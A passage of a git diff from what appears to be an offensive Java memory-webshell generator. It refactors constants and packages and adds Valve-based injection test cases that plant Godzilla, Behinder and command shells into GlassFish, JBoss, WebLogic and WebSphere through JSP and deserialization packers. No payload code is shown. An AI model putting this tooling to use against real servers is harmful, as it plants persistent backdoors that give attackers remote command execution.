+                JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
-                Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
+                LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
+                JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
+                SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
-                Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
+                JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
-                Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
-                Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
+                JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
+                LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
-                Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
+                JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
         );
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -17,6 +16,8 @@ import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/24
@@ -25,27 +26,27 @@ public class WebLogicShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
+                SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
-                Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
+                LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
+                SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
-                Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
+                LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
+                SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
-                Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
+                LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
         );
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java

@@ -1,7 +1,5 @@
 package com.reajason.javaweb.memshell;
 
-import com.reajason.javaweb.memshell.config.Constants;
-import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
 import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -16,9 +14,10 @@ import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjecto
 import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
 import org.apache.commons.lang3.tuple.Pair;
 
-import java.util.List;
 import java.util.Map;
 
+import static com.reajason.javaweb.memshell.config.Constants.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/21
@@ -27,27 +26,27 @@ public class WebSphereShell extends AbstractShell {
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
+                SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
-                Constants.FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
+                FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
-                Constants.LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
+                LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
+                SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
-                Constants.FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
+                FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
-                Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
+                LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
         );
     }
 
     @Override
     protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
         return Map.of(
-                Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
+                SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
-                Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
+                FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
-                Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
+                LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
         );
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java

@@ -15,4 +15,7 @@ public class Constants {
     public static final String JAKARTA_FILTER = "JakartaFilter";
     public static final String LISTENER = "Listener";
     public static final String JAKARTA_LISTENER = "JakartaListener";
+
+    public static final String VALVE = "Valve";
+    public static final String JAKARTA_VALVE = "JakartaValve";
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java

@@ -59,11 +59,7 @@ public enum Server {
      * GlassFish 中间件
      */
     GlassFish(new GlassFishShell()),
-
+    Payara(new GlassFishShell()),
-    /**
-     * Payara 中间件 <a href="https://repo1.maven.org/maven2/fish/payara/distributions/payara">PayaraDownload</a>
-     */
-    Payara(new PayaraShell()),
 
     /**
      * 宝兰德中间件

generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.memshell;
+package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;

generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.memshell;
+package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;

generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.memshell;
+package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.memshell;
+package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
@@ -43,12 +43,11 @@ public class InjectorGenerator {
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
 
-
         if (config.needByPassJavaModule()) {
             builder = ByPassJavaModuleInterceptor.extend(builder);
         }
 
-        if(config.isJakarta()){
+        if (config.isJakarta()) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
         }
 

generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java

@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.tomcat.command;
 
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.CommandGenerator;
+import com.reajason.javaweb.memshell.generator.CommandGenerator;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
 import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
 import com.reajason.javaweb.util.ClassUtils;

generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java

@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.tomcat.godzilla;
 
 import com.reajason.javaweb.memshell.config.GodzillaConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.GodzillaGenerator;
+import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
 import com.reajason.javaweb.util.ClassUtils;

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.GlassFishShell;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -61,12 +60,12 @@ public class GlassFish3ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.GlassFishShell;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -61,12 +60,12 @@ public class GlassFish4ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.GlassFishShell;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -54,12 +53,12 @@ public class GlassFish501ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.GlassFishShell;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -58,14 +57,14 @@ public class GlassFish510ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.integration.glassfish;
 
-import com.reajason.javaweb.memshell.GlassFishShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
@@ -54,12 +53,12 @@ public class GlassFish6ContainerTest {
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.integration.glassfish;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.GlassFishShell;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -48,9 +47,9 @@ public class GlassFish7ContainerTest {
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

@@ -41,18 +41,24 @@ public class Jboss423ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-//                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // TODO: need to find out problem
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-//                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-//                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // TODO: need to find out problem
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-//                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java

@@ -52,13 +52,20 @@ public class Jboss510ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
+//                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
+//                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java

@@ -52,7 +52,13 @@ public class Jboss610ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java

@@ -49,7 +49,10 @@ public class Jboss711ContainerTest {
                 arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

@@ -46,7 +46,10 @@ public class JbossEap6ContainerTest {
                 arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

@@ -60,22 +60,21 @@ public class Payara5201ContainerTest {
